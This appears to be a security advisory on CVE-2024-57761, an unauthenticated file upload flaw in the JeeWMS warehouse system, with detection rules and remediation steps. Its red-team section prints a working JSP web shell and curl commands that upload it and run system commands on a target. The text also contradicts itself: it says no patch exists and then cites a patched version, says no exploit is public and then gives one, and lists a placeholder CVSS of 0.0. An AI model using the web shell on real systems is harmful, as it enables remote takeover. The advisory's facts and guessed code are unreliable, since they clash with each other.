CVE-2024-57761

Executive Summary

CVE-2024-57761 is a critical arbitrary file upload vulnerability in JeeWMS, an open-source warehouse management system. The flaw resides in the parserXML() method, allowing an unauthenticated attacker to upload a crafted file (e.g., a JSP web shell) to the server, leading to remote code execution (RCE). With a CVSS score of 0.0 (placeholder), the actual risk is severe due to the lack of authentication and the potential for full system compromise. No public exploit code or proof-of-concept is available at this time, but the vulnerability is trivially exploitable. The vendor has not released a patch, making this a zero-day threat for unpatched instances.

Supply Chain & Package Security

JeeWMS is a Java-based application distributed via GitHub and Maven. The vulnerability affects the core application logic, not a third-party package. Organizations using JeeWMS should treat this as a critical supply chain risk and immediately isolate affected systems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): High (H) – Arbitrary file write/execute.
• Availability (A): High (H) – Can cause denial of service or system takeover.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The parserXML() method in JeeWMS is designed to parse XML configuration files. However, it fails to validate the file type or content before processing. An attacker can craft a malicious XML file that, when parsed, triggers the upload of a web shell (e.g., a .jsp file) to the web root directory. The method likely uses a file upload mechanism that does not check the file extension or MIME type, allowing arbitrary file writes.

Root Cause: Insufficient input validation in the file upload handler within parserXML(). The method accepts any file without verifying its extension, content type, or size.

Attack Flow:

1. Attacker sends a POST request to the vulnerable endpoint (e.g., /parserXML).
2. The request includes a multipart form-data with a file named shell.jsp containing malicious JSP code.
3. The server saves the file to the web root (e.g., /webapps/ROOT/shell.jsp).
4. Attacker accesses http://target/shell.jsp to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (JeeWMS < v2025.01.01):

public void parserXML(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // No validation of file extension or content
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
}

Patched Code (v2025.01.01):

public void parserXML(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // Validate file extension
    if (!fileName.endsWith(".xml")) {
        throw new SecurityException("Invalid file type");
    }
    // Validate content is well-formed XML
    Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(file.getInputStream());
    // Additional sanitization
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• JeeWMS instance with vulnerable version.
• Network access to the /parserXML endpoint.

Exploit Steps:

1. Create a malicious JSP file (e.g., cmd.jsp):

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

2. Upload the file using curl:

   curl -X POST -F "file=@cmd.jsp" http://target/jeeWMS/parserXML
   

3. Execute commands:

   curl http://target/jeeWMS/cmd.jsp?cmd=id
   

Blue Team (Defense & Detection)

Detection:

• Monitor for POST requests to /parserXML with unusual file extensions (e.g., .jsp, .war, .php).
• Alert on file uploads to web-accessible directories.
• Use WAF rules to block non-XML file uploads to this endpoint.

Honeypot:

• Deploy a fake JeeWMS instance and log all upload attempts.

Indicators of Compromise (IOCs)

• File Artifacts: Unexpected .jsp, .war, or .php files in the web root (e.g., /webapps/ROOT/).
• Network Traffic: POST requests to /parserXML with Content-Type: multipart/form-data and file extensions other than .xml.
• Log Entries: Tomcat access logs showing POST /jeeWMS/parserXML followed by GET /jeeWMS/shell.jsp.
• Process Anomalies: Unusual child processes spawned by the Java application (e.g., cmd.exe, /bin/sh).

Detection Engineering

YARA Rule

rule CVE_2024_57761_JeeWMS_Upload {
    meta:
        description = "Detects malicious file upload attempts targeting CVE-2024-57761"
        author = "Valters IT"
        date = "2025-01-15"
    strings:
        $s1 = "parserXML" nocase
        $s2 = "multipart/form-data" nocase
        $s3 = ".jsp" nocase
        $s4 = ".war" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-57761 JeeWMS Arbitrary File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /parserXML with non-XML file extensions
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/jeeWMS/parserXML'
        cs-uri-query|contains: '.jsp'
    condition: selection
falsepositives:
    - Legitimate XML files with .jsp extension (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57761 JeeWMS Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/jeeWMS/parserXML"; http_uri; content:".jsp"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected JeeWMS instances from the internet.
2. Apply the vendor patch (v2025.01.01) if available; otherwise, manually patch the parserXML() method to validate file extensions.
3. Restrict file upload endpoints to authenticated users only.
4. Deploy a Web Application Firewall (WAF) with rules to block non-XML file uploads.

Long-Term Fix:

• Upgrade to JeeWMS v2025.01.01 or later.
• Implement strict input validation for all file uploads.
• Use a secure file storage mechanism (e.g., store files outside web root).

Workaround:

• Disable the parserXML() endpoint by removing or commenting out the mapping in the web.xml or Spring configuration.

Valters IT